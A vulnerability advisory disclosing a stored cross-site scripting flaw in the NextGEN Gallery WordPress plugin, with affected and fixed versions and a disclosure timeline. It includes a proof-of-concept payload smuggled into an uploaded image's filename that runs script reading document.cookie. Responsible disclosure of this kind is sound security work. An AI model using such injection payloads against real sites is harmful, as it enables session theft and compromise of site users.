`Plugin Name : NextGEN Gallery
Effected Version : 2.0.66.16 (and most probably lower version's if any)
Vulnerability : A3-Cross-Site Scripting (XSS)
Identified by : Madhu Akula
Technical Details
Minimum Level of Access Required : Administrator
PoC - (Proof of Concept) :
http://localhost/wp-admin/admin.php?page=ngg_addgallery.php
Click on Image upload and give the image name as ("><img src=x onerror=prompt(document.cookie)>.png")
Video Demonstration :
http://www.youtube.com/watch?v=SzNopJUE3nk
Type of XSS : Stored
Fixed in : 2.0.66.17
http://wordpress.org/plugins/nextgen-gallery/changelog/
Disclosure Timeline
Vendor Contacted : 2014-08-02
Plugin Status : Updated on 2014-08-04
Public Disclosure : October 3, 2015
CVE Number : Not assigned yet
Plugin Description :
NextGEN Gallery is the most popular WordPress gallery plugin, and one of the most popular WordPress plugins of all time, with over 10 million downloads.
It provides a powerful engine for uploading and managing galleries of images, with the ability to batch upload, import meta data, add/delete/rearrange/sort images, edit thumbnails, group galleries into albums, and more. It also provides two front-end display styles (slideshows and thumbnail galleries), both of which come with a wide array of options for controlling size, style, timing, transitions, controls, lightbox effects, and more.
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